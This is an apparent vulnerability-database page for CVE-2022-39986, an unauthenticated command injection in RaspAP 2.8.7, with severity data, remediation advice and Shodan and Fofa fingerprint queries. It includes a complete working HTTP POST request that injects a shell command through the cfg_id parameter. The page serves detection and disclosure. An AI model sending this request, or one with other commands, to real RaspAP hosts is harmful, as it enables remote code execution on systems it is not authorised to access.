🔙 목록으로 돌아가기

CVE-2022-39986: RaspAP 2.8.7 - Unauthenticated Command Injection

TitleRaspAP 2.8.7 - Unauthenticated Command Injection
AuthorDhiyaneshDK
SeverityCritical
ImpactSuccessful exploitation of this vulnerability can lead to remote code execution, compromising the confidentiality, integrity, and availability of the affected system.
RemediationUpgrade to a patched version of RaspAP or apply the vendor-supplied patch to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.93057
CVE IDCVE-2022-39986
CWE IDCWE-77
Shodan Queryhttp.favicon.hash:-1465760059
Fofa Queryicon_hash=-1465760059
Tags cve cve2022 packetstorm raspap rce vkev vuln

🔍 Vulnerability Description

A Command injection vulnerability in RaspAP 2.8.0 thru 2.8.7 allows unauthenticated attackers to execute arbitrary commands via the cfg_id parameter in /ajax/openvpn/activate_ovpncfg.php and /ajax/openvpn/del_ovpncfg.php.

🌐 HTTP Request

POST /ajax/openvpn/del_ovpncfg.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15
Connection: close
Content-Length: 12
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

cfg_id=;id;#

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-39986.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-39986.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A